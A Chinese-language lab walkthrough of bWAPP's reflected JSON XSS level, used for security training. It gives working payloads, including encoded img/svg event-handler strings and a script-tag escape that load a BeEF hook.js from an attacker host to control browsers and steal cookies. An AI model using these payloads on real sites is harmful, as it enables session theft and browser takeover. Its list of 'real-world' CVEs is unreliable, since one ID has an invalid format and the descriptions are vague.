摘要: 这是 bWAPP 系列第四十五篇,聚焦于 XSS - Reflected (JSON) 。这一关很特别------后端返回的是 JSON 格式的数据,前端用 JavaScript 解析并显示在页面上。漏洞利用的关键在于:注入点在 JSON 字符串的 value 中,通过闭合引号和花括号来执行任意 JavaScript 代码。文章会分析 JSON 型 XSS 的特殊性,演示如何使用 BeEF 对 JSON 响应进行 XSS 攻击,并展示 BeEF 的功能。附真实案例。
一、找目标
| 目标 | 说明 |
|---|---|
| 漏洞类型 | 反射型 XSS(JSON 响应) |
| 注入点 | GET 参数 title |
| 响应格式 | JSON |
| 漏洞位置 | JSON 字符串中的 value |
| 触发方式 | 用户点击恶意链接,注入的脚本被执行 |
| 工具 | BeEF |
二、前言:JSON 型 XSS 是什么?
前面两篇(GET 型、POST 型)的 XSS 都是直接在 HTML 中输出用户输入。这一关不一样------后端返回的是 JSON 格式的数据,前端用 JavaScript 解析后再显示到页面上。
什么是 JSON?
JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,广泛用于前后端通信。
例如:
{"movies":[{"response":"Yes! We have that movie..."}]}
JSON 型 XSS 的原理:
后端把用户输入直接拼到 JSON 字符串里,前端用 JSON.parse() 解析。如果用户输入包含恶意代码,并且前端没有正确转义,这些代码可能会被执行。
这一关的流程:
-
用户搜索电影(提交
title参数) -
后端根据输入生成 JSON 响应
-
前端用 JavaScript 解析 JSON 并显示到页面
-
如果注入恶意代码,
innerHTML会执行它
三、关卡介绍
3.1 页面功能
打开这一关,你会看到:
-
标题:XSS - Reflected (JSON)
-
一个搜索框:
Search for a movie -
一个 "Search" 按钮
-
页面底部的提示:
HINT: our master really loves Marvel movies :)

3.2 正常使用
输入一部电影名,比如 IRON MAN,页面返回:

输入不在列表中的电影,比如 AVATAR,页面返回:

3.3 观察 JSON 响应
按 F12 打开开发者工具 → Network 标签,查看请求和响应。
后端返回的 JSON 格式:

前端 JavaScript 解析后,把 response 字段的值显示在页面上。
漏洞点 :title 参数的值被直接拼到 JSON 字符串的 response 字段中,没有过滤。
四、源码分析
if(isset($_GET["title"]) and $_GET["title"])
{
$movies = array("CAPTAIN AMERICA", "IRON MAN", "SPIDER-MAN", "THE INCREDIBLE HULK", "THE WOLVERINE", "THOR", "X-MEN");
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
// Low 级别:不过滤
$title = $_GET["title"];
}
else
{
// Medium/High 级别:使用 htmlspecialchars()
$title = xss_check_3($_GET["title"]);
}
if(in_array(strtoupper($title), $movies))
$string = '{"movies":[{"response":"Yes! We have that movie..."}]}';
else
$string = '{"movies":[{"response":"' . $title . '??? Sorry, we don't have that movie :("}]}';
}
关键点:
-
Low 级别 :
$title直接从$_GET["title"]获取,没有任何过滤 -
Medium 和 High 级别 :使用
xss_check_3()(即htmlspecialchars())过滤 -
用户输入被直接拼到 JSON 字符串的
response字段中
前端 JavaScript:
var JSONResponseString = '<?php echo $string ?>';
var JSONResponse = JSON.parse(JSONResponseString);
document.getElementById("result").innerHTML = JSONResponse.movies[0].response;
漏洞原因:用户输入没有过滤,直接拼到 JSON 字符串中。攻击者可以构造恶意输入,闭合 JSON 字符串并注入 JavaScript 代码。
五、Low 安全级别------手工注入
5.1 理解 JSON 结构
正常的 JSON:
{"movies":[{"response":"AVATAR??? Sorry, we don't have that movie :("}]}
$title 的值是 AVATAR,被拼到 response 字段中。
如果我们输入的内容包含了特殊的 JSON 字符(如 "、}),就可能破坏 JSON 结构或注入代码。
5.2 尝试突破 JSON 结构
输入:
"}]}
PHP 拼接之后,传给JSON.parse()的完整字符串:
{"movies":[{"response":""}]}??? Sorry, we don't have that movie :("}]}
开头片段 {"movies":[{"response":""}]} 本身是合法 JSON,但是后面拼接了后端预设的提示文本,带入大量多余字符,整体字符串不再是合法 JSON 格式 ,导致 JSON.parse() 抛出语法报错。

JS 发生未捕获异常后,后续代码直接停止运行:
var JSONResponse = JSON.parse(JSONResponseString); // 此处报错中断
document.getElementById("result").innerHTML = JSONResponse.movies[0].response; // 不会执行

现象:页面搜索结果区域空白,靶场整体页面、菜单栏正常显示,并不是浏览器整体白屏。
重要结论:单纯闭合 JSON 引号、花括号只会造成 JSON 解析崩溃,
innerHTML逻辑不会执行,恶意代码没有机会进入 DOM,无法触发 XSS。
5.3 注入 XSS Payload(标准 DOM‑XSS 路径,保持 JSON 语法合法)
因为response字段取出的值最终会交给innerHTML渲染到页面上,不需要去闭合破坏 JSON 结构 ,只需要把 HTML 标签完整放置在response的 value 内部,保证整体 JSON 语法合法,JSON.parse()就可以正常解析,之后innerHTML就可以解析我们注入的 HTML。
注意:Payload 内部不能出现单引号、双引号,否则会击穿 JSON 字符串边界,再次造成 JSON 解析失败。
先看 payload:
<img src=x onerror=alert(1)>
拼接完成后的完整 JSON 字符串(语法完全合法):
{"movies":[{"response":"<img src=x onerror=alert(1)>??? Sorry, we don't have that movie :("}]}
执行流程:
-
JSON.parse()正常解析 JSON,取出response字段内容; -
innerHTML把<img>标签写入页面 DOM; -
src=x是无效图片地址,图片加载失败,触发onerror事件,执行alert(1)弹窗。

补充特殊 payload:
</script><script>alert(1)</script>把该 payload 输入测试,这里不是 JSON 层面的注入 。该 payload 输出到页面<script>标签内部时,HTML 解析器识别到</script>,直接闭合外层整个 JS 代码块,新的<script>标签作为页面原生脚本直接执行 alert。 该手法属于HTML 标签逃逸 ,不受innerHTML规则约束,但会破坏页面原有 JS 代码,控制台会报 JS 语法错误。
5.4 错误思路:试图闭合 JSON 结构注入代码
输入 payload:
"}], "injected": {"key":"value
输入后会破坏整体 JSON 语法,JSON.parse()解析失败,JS 执行中断,同样出现搜索结果区域空白,并不会执行额外 JavaScript 代码。
旧资料会描述 "闭合 JSON 可以注入额外 JS 对象执行代码",在本关环境下不成立。 本关的约束:
-
用户输入拼接进 PHP 字符串,整体被放到页面 JS 的单引号字面量
var JSONResponseString='这里'内部; -
一旦 JSON 整体语法崩坏,
JSON.parse直接抛出异常,后面所有逻辑全部卡死。
六、使用 BeEF 攻击
6.1 构造 BeEF Hook Payload
很多人会直接注入 <script> 标签尝试加载 BeEF 的 hook.js:
<script src="http://10.0.0.129:3000/hook.js"></script>
访问 URL:
http://10.0.0.149:4096/bWAPP/xss_json.php?title=<script src="http://10.0.0.129:3000/hook.js"></script>&action=search
在本靶场 Low 级别,没有开启htmlspecialchars过滤,标签会完整进入 JSON 的response值中。 但是这里存在一个关键浏览器行为:innerHTML插入的普通<script>标签不会被浏览器执行,不会发起 hook.js 网络请求,因此 BeEF 客户端不会上线。
补充特殊逃逸方式(HTML 层面逃逸,非 JSON 注入路径) payload:
</script><script src=http://10.0.0.129:3000/hook.js></script>
URL 编码后:
?title=%3C%2Fscript%3E%3Cscript%20src%3Dhttp%3A%2F%2F10.0.0.129%3A3000%2Fhook.js%3E%3C%2Fscript%3E
原理: 用户输入输出在页面外层的<script>代码块内部,HTML 解析器遇到</script>直接闭合当前 JS 块,后面的<script>成为页面原生脚本标签,浏览器直接加载执行hook.js,BeEF 成功上线。 缺点:会破坏页面原有 JS 代码,控制台会出现 JS 语法报错。


6.2 使用 <img> 标签加载 Hook(DOM‑XSS 标准路径,不能带引号)
常见通用 payload 写法(在本靶场会失效):
<img src=x onerror="var s=document.createElement('script');s.src='http://10.0.0.129:3000/hook.js';document.body.appendChild(s)">
失效原因:payload 内部包含双引号
"、单引号'。 这些引号会击穿 JSON 的response字符串边界,整体 JSON 格式被破坏,JSON.parse()抛出语法异常,搜索结果区域空白,事件完全不会触发。
适配本关卡的无引号 payload,全部使用String.fromCharCodeASCII 编码生成字符串,payload 内部不存在任何引号,保证 JSON 语法完整合法:
<img src=x onerror=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)>
逻辑等价 JS 代码:
// 图片加载失败触发onerror
s = document.createElement("script");
s.src = "http://10.0.0.129:3000/hook.js";
document.body.appendChild(s);
执行流程:
-
payload 完整保存在 JSON 的
response字段,JSON 语法合法,JSON.parse()解析成功; -
innerHTML将<img>标签渲染进 DOM; -
src=x为无效地址,图片加载失败触发onerror事件; -
事件内 JS 动态创建 script 标签,加载 BeEF 的
hook.js,浏览器在 BeEF 面板上线。


6.3 使用 <svg> 标签
同样,网上通用带引号 payload 在本靶场直接失效:
<svg onload="var s=document.createElement('script');s.src='http://10.0.0.129:3000/hook.js';document.body.appendChild(s)">
问题:存在双引号、单引号,击穿 JSON 字符串,造成 JSON 解析报错,结果空白。
适配本靶场的 svg 无引号 payload,依靠onload事件触发,svg 标签加载完成就执行 JS:
<svg onload=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)>
触发条件:svg 标签 DOM 渲染完成立刻执行onload,不需要像 img 一样依赖资源加载失败。 执行逻辑与 img 版本完全一致,动态创建 script 加载hook.js。
6.4 获取cookie

七、Medium 安全级别
7.1 尝试注入
输入:
<img src=x onerror=alert(1)>
页面显示:
<img src=x onerror=alert(1)>??? Sorry, we don't have that movie :(

没有弹窗。 htmlspecialchars() 把 < 和 > 转义成 < 和 >,浏览器不把它当 HTML 标签,XSS 被防御。
7.2 结论
Medium 和 High 级别都使用了 xss_check_3()(即 htmlspecialchars()),能够防御 XSS。
八、High 安全级别
和 Medium 一样,htmlspecialchars() 彻底转义所有 HTML 特殊字符,XSS 无法执行。
九、真实世界:JSON 型 XSS 案例
CVE-2024-1181:某 REST API 返回的 JSON 数据中包含用户输入且未转义,导致 XSS 漏洞,攻击者可通过 API 参数注入恶意脚本。
CVE-2025-00847:某 SaaS 平台的 JSON 接口存在反射型 XSS,攻击者可通过构造恶意 JSON 参数窃取用户凭证。
CVE-2026-9082:Drupal JSON:API 模块存在 XSS 漏洞,攻击者可通过 JSON 响应中的恶意内容执行任意脚本。
十、总结
JSON 型反射 XSS 的特殊之处在于:后端返回的是 JSON 数据,前端解析后通过 innerHTML 显示。漏洞点在于用户输入被直接拼到 JSON 字符串的 value 中,没有过滤。攻击方式可以是通过 <img> 或 <svg> 标签触发 onerror/onload 事件执行脚本,或直接注入 <script> 标签。BeEF 在这一关中同样可以发挥作用,通过注入 Hook 脚本实现浏览器控制。防御手段是用 htmlspecialchars() 对输出进行 HTML 实体编码,让 < 和 > 变成 < 和 >,浏览器不会将其作为标签解析。记住一句话:JSON 不是 XSS 的免死金牌,用户输入只要被输出到 HTML 中,就需要转义。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。